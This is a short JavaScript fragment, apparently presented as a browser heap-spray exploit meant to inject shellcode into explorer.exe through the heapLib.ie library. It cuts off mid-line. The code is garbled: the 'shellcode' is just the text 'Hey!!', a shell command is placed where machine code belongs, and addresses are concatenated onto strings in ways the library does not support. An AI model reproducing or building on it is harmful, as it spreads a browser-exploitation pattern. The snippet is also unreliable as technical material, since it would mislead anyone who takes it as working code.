Inject shellcode in process explorer.exe

function inject(){
    var code = "start \"\" explorer.exe"    //explorer.exe
    var shellcode = unescape("\u0048\u0065\u0079\u0021\u0021"); //"Hey!!"
    var heap_obj = new heapLib.ie(0x10000);// heap spray
    var code_address = heap_obj.alloc(code);
    code_address += 0x1000;
    heap_obj.alloc(shellcode);
    var block = heap_obj.block();
    var spray = unescape("\u0c0c\u0c0c\u0c0c\u0c0c");
    spray += code_address;
    spray += code_address;
    spray += code_address;
    spray += code_address;
    spray += code_address;
    spray += code_address;
    spray += code_address;
    spray += code_address;
    spray += block.address;
    spray += block.address;
    spray += block.address;
    spray += block